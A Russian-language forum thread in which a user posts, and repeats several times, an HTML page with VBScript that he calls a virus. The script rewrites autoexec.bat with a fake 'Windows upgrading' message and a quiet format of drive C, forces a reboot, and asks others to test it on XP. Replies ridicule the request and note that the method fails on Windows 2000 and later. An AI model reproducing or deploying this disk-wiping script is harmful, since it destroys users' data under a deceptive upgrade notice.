Винда
Короче в кратком описание:
У меня есть вир который тушит винду при запуске некоторого ярлыка - (код написан на HTML),я пробивал его на 98(виде), что я увидел - винда потухла и маленькими форматированиями в винде!
Теперь прозьба нужно проверить ламает она ли "ХР""", если у когота есть винда не нужна по экспериментируйте и отпишите!
Вот текс програмы:
<html>
<body>
<script language ="VBScript">
sub Reboot
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("c:\autoexec.bat") then
set ab=fs.getfile("c:\autoexec.bat")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close
end sub
destruct
reboot
</script>
</body>
</html>
достаточно зделать ярлык
У меня есть вир который тушит винду при запуске некоторого ярлыка - (код написан на HTML),я пробивал его на 98(виде), что я увидел - винда потухла и маленькими форматированиями в винде!
Теперь прозьба нужно проверить ламает она ли "ХР""", если у когота есть винда не нужна по экспериментируйте и отпишите!
Вот текс програмы:
<html>
<body>
<script language ="VBScript">
sub Reboot
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("c:\autoexec.bat") then
set ab=fs.getfile("c:\autoexec.bat")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close
end sub
destruct
reboot
</script>
</body>
</html>
достаточно зделать ярлык
Цитата:
Originally posted by smirnov
если у когота есть винда не нужна по экспериментируйте и отпишите!
если у когота есть винда не нужна по экспериментируйте и отпишите!
Если у кого-то есть холодильник, или телевизор ненужный - бросьте его с балкона на голову прохожему. Экспериментируйте. Потом отпишите о результатах.:D :D :D
Цитата:
Originally posted by smirnov
Короче в кратком описание:
У меня есть вир который тушит винду при запуске некоторого ярлыка - (код написан на HTML),я пробивал его на 98(виде), что я увидел - винда потухла и маленькими форматированиями в винде!
Теперь прозьба нужно проверить ламает она ли "ХР""", если у когота есть винда не нужна по экспериментируйте и отпишите!
Вот текс програмы:
<html>
<body>
<script language ="VBScript">
sub Reboot
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("c:\autoexec.bat") then
set ab=fs.getfile("c:\autoexec.bat")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close
end sub
destruct
reboot
</script>
</body>
</html>
достаточно зделать ярлык
Короче в кратком описание:
У меня есть вир который тушит винду при запуске некоторого ярлыка - (код написан на HTML),я пробивал его на 98(виде), что я увидел - винда потухла и маленькими форматированиями в винде!
Теперь прозьба нужно проверить ламает она ли "ХР""", если у когота есть винда не нужна по экспериментируйте и отпишите!
Вот текс програмы:
<html>
<body>
<script language ="VBScript">
sub Reboot
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("c:\autoexec.bat") then
set ab=fs.getfile("c:\autoexec.bat")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close
end sub
destruct
reboot
</script>
</body>
</html>
достаточно зделать ярлык
Виртуалка тебе в руки.
Цитата:
Originally posted by smirnov
Короче в кратком описание:
У меня есть вир который тушит винду при запуске некоторого ярлыка - (код написан на HTML),я пробивал его на 98(виде), что я увидел - винда потухла и маленькими форматированиями в винде!
Теперь прозьба нужно проверить ламает она ли "ХР""", если у когота есть винда не нужна по экспериментируйте и отпишите!
Вот текс програмы:
<html>
<body>
<script language ="VBScript">
sub Reboot
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("c:\autoexec.bat") then
set ab=fs.getfile("c:\autoexec.bat")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close
end sub
destruct
reboot
</script>
</body>
</html>
достаточно зделать ярлык
Короче в кратком описание:
У меня есть вир который тушит винду при запуске некоторого ярлыка - (код написан на HTML),я пробивал его на 98(виде), что я увидел - винда потухла и маленькими форматированиями в винде!
Теперь прозьба нужно проверить ламает она ли "ХР""", если у когота есть винда не нужна по экспериментируйте и отпишите!
Вот текс програмы:
<html>
<body>
<script language ="VBScript">
sub Reboot
Set Shell=CreateObject("WScript.Shell")
Shell.Run "Rundll32.exe User.exe,ExitWindows"
RunDll
end sub
sub destruct
set fs=createobject("Scripting.FileSystemObject")'FileSystem
if fs.fileexists("c:\autoexec.bat") then
set ab=fs.getfile("c:\autoexec.bat")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("c:\autoexec.bat")
autoexec.WriteLine "@cls"
autoexec.WriteLine "@echo Windows upgrading your system..."
autoexec.WriteLine "@echo Do not abort this process!"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.close
end sub
destruct
reboot
</script>
</body>
</html>
достаточно зделать ярлык
Даже и пробовать смысла нет. Начиная с 2000 виндов автоекзек девственно пуст и не запускается. Оставлен просто так для совместимости.